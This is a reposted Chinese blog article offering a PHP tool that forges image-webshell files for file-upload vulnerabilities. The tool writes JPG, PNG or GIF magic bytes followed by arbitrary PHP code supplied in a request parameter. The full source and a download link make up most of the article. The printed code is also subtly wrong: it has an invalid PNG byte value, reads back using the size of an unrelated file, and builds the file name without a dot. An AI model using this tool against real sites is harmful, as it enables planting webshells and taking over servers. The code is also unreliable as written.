关于上传漏洞绕过文件头校验的利用工具
2023-6-8 09:12:21 Author: 编码安全研究(查看原文) 阅读量:14 收藏

0x01 工具介绍

本脚本用于bypass文件头校验,支持jpg|png|gif格式文件。

0x02 安装与使用

在环境的地址栏输入type参数,填入你想要的类型,再输入cmd参数,填入你想要的php代码,允许不输入cmd,默认采用phpinfo,以便探测图片马能否正常使用。type和cmd都可以用get/post方式传入。

例如:
?type=jpg
回显:
创建成功!文件内容:
 ÿØ<?php phpinfo();?>

0x03 源码文件

<!DOCTYPE html><head>    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=0.5, maximum-scale=2.0, user-scalable=yes" /></head></html><?php$cmd = '<?php phpinfo();?>';// 读取输入的命令if(!empty($_REQUEST['cmd'])){    $cmd=$_REQUEST['cmd'];}// 输入产生文件的类型function makeTrick($typeCode){    switch($typeCode){        case 'jpg':            $fileType = Array(255,216);            break;        case 'png':            $fileType = Array(137,800);            break;        case 'gif':            $fileType = Array(71,73);            break;        default:            $fileType = Null;    }    return $fileType;}function load($fileType,$cmd, $ext){    // 读取输入的文件类型    if(!empty($fileType)) {        $data = pack('C2', $fileType[0], $fileType[1]);        $file = fopen('profile'.$ext, "wb");        // 写入文件头        $bin = fwrite($file, $data);        // 写入命令        $bin2 = fwrite($file, $cmd);        fclose($file);        $file = fopen('profile'.$ext, "r");        echo '创建成功!文件内容:</br>';        echo htmlentities(fread($file, filesize('tmp_pack.txt')));        fclose($file);    }}if(!empty($_REQUEST['type'])) {    $ext = $_REQUEST['type'];    $fileType = makeTrick($ext);    load($fileType, $cmd, $ext);}else{    echo '请用get方式输入type参数和cmd参数(可选,默认phpinfo)';}

0x04 下载地址

项目地址:https://github.com/youyou-pm10/upload-exp

注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247503231&idx=2&sn=04305180deb112c8fe87ded653dcb11e&chksm=ce649e1af913170c9f9ca9dda3a08967008e1fe27753e00048af1546ade3b22edea5775372f1#rd
如有侵权请联系:admin#unsafe.sh